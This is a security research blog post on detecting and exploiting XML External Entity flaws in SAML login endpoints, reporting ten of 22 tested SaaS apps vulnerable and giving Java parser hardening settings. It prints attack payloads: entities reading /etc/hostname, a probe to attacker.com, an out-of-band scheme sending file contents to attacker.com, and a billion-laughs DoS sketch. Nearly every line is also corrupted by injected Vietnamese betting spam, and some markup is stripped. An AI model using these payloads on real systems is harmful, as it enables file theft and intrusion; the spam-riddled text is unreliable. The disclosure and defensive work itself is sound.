Donnerstag, 6. November 2014

Detecting and exploiting XXE in SAML Interfaces

This post will describe some findings, problems and inisghts regarding XML External Entity Attacks (XXEA) that we gacá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365red during a large-scale security analysis of several SAML interfaces.
XXEA has been a popular attack class in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last months, see for example
This post will explain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 basics of XXEA and how to adopt cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to SAML, including some special problems you have to cope with.

First, we introduce cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 concept of Document Type Definition (DTD) and XML External Entity (XXE), and afterwards some basics on SAML. If you are fimiliar with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se concepts, you may want to skip cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se sections and go to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last section XXEA on SAML.

Document Type Definition (DTD) and XML External Entity (XXE)

Understanding DTD


XML offers cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 possibility to describe cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document’s structure
by using a Document Type Definition (DTD).
This is well known from classical HTML documents:



...
Many people think that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 declaration above just indicates that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document contains HTML 4.01 data, but technically, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is more.
This declaration defines  cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 HTML doctype that is identified by "-//W3C//DTD HTML 4.01 Transitional//EN". The exact definition is publicy available and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL contains its declaration:

% curl -D- http://www.w3.org/TR/html4/loose.dtd 

HTTP/1.1 200 OK
...
Content-Type: text/plain

    ...

It now depends on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document parser whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r this URL is resolved or not. There are good reasons not to curl cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DTD every time, for instance, to save time. Additionally, it is not needed for HTML because this DTD is well known and most probably hard-coded in any browser.

Understanding XML Entity

However, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 concept of DTD is generic and offers more features, for example, a DTD allows to define an ENTITY:

  msg 'Hello World'>
]>
&msg;
In this case, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Entity msg is defined as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 String 'Hello World'. This concept is also very wide-spread in HTML, for example, < (<) or & (&) can be used to encode specific characters (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se are default HTML Entities that are defined by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DTD).

Technically, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XML/HTML parser that processes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 given document resolves each ENTITY, for instance, it replaces &msgby cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 String 'Hello World'.

Entity resolving is not problematic per se, but it can lead to efficient Denial-of-Service (DoS) Attacks if used like this:


 
 

 

  ...

  z '&y;&y;&y;&y;&y;'>

]>
&z;

By parsing this message, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entity &z; is recursively resolved, which leads to high memory consumption.This attack is also known as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Billion laughs attack.

Understanding XML External Entity

In addition to XML Entities, DTDs offer cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to define External Entities. The concept is similar to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 HTML definition above:
Message [
  msg SYSTEM '/etc/hostname'>

]>


&
msg;Message>

Instead of defining a simple string for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Entity msg in this example,it is possible to let cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document parser load cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of a specified file, for instance, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 '/etc/hostname' file.
There are several ways to do this:


PUBLIC 'm' 'file:///etc/hostname'>
PUBLIC 'm' 'http:///myserver.com/something'>
The examples above differ mainly in two aspects:
  1. SYSTEM vs PUBLIC: As indicated by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SYSTEM Entities are intended to be for files locally stored on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 machine, whereas PUBLIC are for contents accessible from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 internet, for example, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 HTML definition as mentioned earlier. PUBLIC Entities need an identifier (here: 'm') but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 identifier does not matter.
  2. The protocol. Depending on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 programming language), it is possible to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 absolute path of a file, or to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file:// protocol. Most parsers additionally understand cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 http:// and https:// handler and, for instance, Java also allows to use jar:// protocol (which basically allows to unzip files).

XML External Entity Attack (XXEA)

An XML External Entity Attack works as follows:


  1. The attacker prepares an XML message togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r with a DTD as shown above. This message commonly includes an XXE that reads a locally stored file, for example '/etc/hostname'.
  2. The attacker sends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 prepared XML message to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Web Application.
  3. The Web Application processes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 incoming XML message.
    It parses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DTD, resolves cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XXE, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n deals with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resultung XML.
  4. The Web Application send an HTTP response to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker.
    For a successful XXEA, this response must somehow contain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 locally stored file, for example cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 '/etc/hostname' file.
    On a very basic level, this can be compared to reflective XSS.

Preventing XXEA

Given cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of possibilities to mount an XXEA, its prevention is not that easy. It is additionally alarming that most XML parser has enabled DTD processing (and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365refore process XXE in most cases) by default.

This is, for instance, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 default Java XML parser. To mitigate XXEA, one has to configure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser as follows:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// not important to prevent XXEA
dbf.setNamespaceAware(true);

// validate document while parsing it
dbf.setValidating(true);

// do not expand entity reference nodes 
dbf.setExpandEntityReferences(false);

// validate document against DTD
dbf.setFeature("http://xml.org/sax/features/validation", true);

// do not include external general entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

// do not include external parameter entities or cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 external DTD subset
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// build cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 grammar but do not use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 default attributes and attribute types information it contains
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", false);

// ignore cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 external DTD completely
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); 

Security Assertion Markup Language (SAML)

The most important industry standard for Identity Management is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SecurityAssertion Markup Language (SAML) . SAML is based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 eXtensible Markup Language (XML) and enables cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 secure exchange of XML-based aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ntication messages.
In conjunction with Single Sign-On (SSO) systems, SAML especially offers a standardized format for aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ntication tokens.


The good thing first:

For understanding how XXEA can be used in SAML, it is not necessary to understand how SAML exactly works.

All we need to know is:
  1. SAML Assertions are XML. This fact allows us to include a DTD.
  2. The XML message is transmitted to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server as an URL-Encoded plus Base64-Encoded String.
The bad thing about SAML and XXEA is that applications which verifies cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SAML Assertions commonly do not reflect any content.
This means, that in contrast to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first given XXEA example, we are only able to read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of a system resource using XXE, but we cannot simply send this content somewhere else so that it becomes accessible to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker.


The Figure above illustrates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem. The only thing that is sent back to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user (attacker) is whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 login was successful or not. During our study, only few applications responded with a specific error message, but in no case this message reflected any content from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SAML-Assertion.
Thus, we had to find anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r way to retrieve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of system resources.

XXEA on SAML

Detection Phase

Before we executed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XXEA, we started with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 detection phase.
A requirement for an XXEA is:
  1. The server processes DTD.
  2. XXE is allowed and processed within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DTD.
To detect if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se requirements are fulfilled, we send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following request (Encoded with Base64 plus URL) to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SAML URL Endpoint of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Web Application:

send SYSTEM "http://attacker.com/working">
]>
<Message>&send;Message>
We setup a Web Server reachable at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 domain  "http://attacker.com". If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 targeted Web Application processes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DTD correctly, our Web Server receives a GET request and XXEA might be possible.

If we do not receive a GET request, we will try cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same idea but with PUBLIC instead of SYSTEM, because some parsers might disable SYSTEM processing while PUBLIC is still allowed.

Exploit Phase

Since Web Applications  using SAML do not reflect content from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SAML-Assertion, we wanted to send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system resource as a GET parameter to our own server (http://attacker.com).
The basic Idea looks as follows:

file SYSTEM "/etc/hostname">
send SYSTEM "http://attacker.com/?read=&file;">
]>
<Message>&send;Message>
The code above does not work directly.
This is due to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact, that External Entities must not be included in ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r External Entities. This means, that most parsers will abort cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DTD processing on finding cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file Entity within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 send Entity declaration.

Nevercá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365less, anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r DTD feature called Parameter Entities exists that allows to bypass this restriction. The idea is described in a Whitepaper on DTD and XXE Attacks by Morgan et. al.


 
 
%dtd;]>
<Message>&send;Message>
The above content is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n Base64 plus URL-encoded and sent to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SAML-Endpoint URL of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Web Application. Please note, that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Entity send within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 <Message> Element is not directly defined in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DTD. It will be defined in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DTD that is loaded from 'http://attacker.com/mydtd' later on.

The Parameter Entities look similar to common Entities but start with a percentage character (%). They can be seen as a Meta Language for DTD (comparable to #DEFINE instructions in C/C++).
The Web Application processes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DTD as follows:
  1. The parser processes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first Parameter Entity % file, thus reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 /etc/hostname system resource.
  2. It cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n processes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second Parameter Entity % dtd.
    This one enforces cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser to load an External DTD that is provided by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker's HTTP server.

    Server responds with:


    ">
    %all;
  3. This file is immediately parsed and processed.
    It defines a Parameter Entity % all that declares an Entity send.
    The send Entity is an External Entity pointing again to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker's server. The URL Request contains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file Parameter Entity.
    The last line contains only "%all;". This means, that at this place, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 %all Entity will be placed. This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 declaration of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 send Entity.
  4. The last line of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker's request contains "%dtd;" - this means, that at this place, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 File
    'http://attacker.com/mydtd' will be placed.
    This is (again) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 declaration of
    cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 send Entity.
  5. Once cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Web Application processes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 line "&send;",  cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GET Request 'http://attacker.com/send/%file;' is executed and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker receives cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365
    '/etc/hostname' file.

Problems with this approach and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir solutions

During our study, we found some interesting problems.

Firewall

Most Web Application are behind a firewall. At cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning of our evaluation, we used a Web Server that was reachable on http://attacker.com:9090. The problem with this approach was, that some Web Applications were not allowed to send GET request to Port 9090 due to firewall policies.
Once we changed our Server port to 80 (default HTTP), cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 detection phase was successful.

Special Characters and Linefeed

For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit phase, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker has to chose which file he wants to read. We tried different ones. Most popular is reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 '/etc/passwd' file.
However, this file might include whitespaces, linefeeds and special characters.
Depending on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target Web Application and its XML parser, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file can cause problems. For example, within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GET request, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can break cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parsing process, or characters like '<' can produce invalid XML, so that it is not parseable.

Thus, we prefer to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file '/etc/hostname' for testing purposes.

In PHP, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a nice possibility to read arbitrary files by encoding it directly with Base64:

Load Balancers

We could detect a strange behavior on some Web Applications.
We sent several XXEA messages to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m and tried to read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 '/etc/hostname' file. It failed in some cases, but in ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r tries it was successful.

This is due to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact, that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Web Application was behind a load balancer that deligates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 requests to different servers.
On some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 '/etc/hostname' file exists, on ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r, it doesn't. This is, for example, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case for CentOS Servers.

We looked at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 User-Agent of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Web Application that sends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request to attacker.com and found out that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y differ randomly, for instance, User-Agent: Java/1.6.0_45 and User-Agent: Java/1.7.0_55. This indicates that different Servers process cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 requests.

Evaluation Results


During our study, we have evaluated 22  Software-as-a-Service Web Applications that support Single Sign-On via SAML.
Ten out of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m were vulnerable to XXEA and we have reported our results to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m.

Conclusion

Our study showed, that XXEA is a real threat to SAML Applications. The biggest problem is, that DTD processing, which is a must requirement for XXEA, is enabled by default in most XML parsers, but developers seem not to be aware of that feature.

The full paper can be found here:

http://nds.rub.de/research/publications/saml-saas/

Authors of this Post

Vladislav Mladenov
Christian Mainka (@CheariX)

Beliebte Posts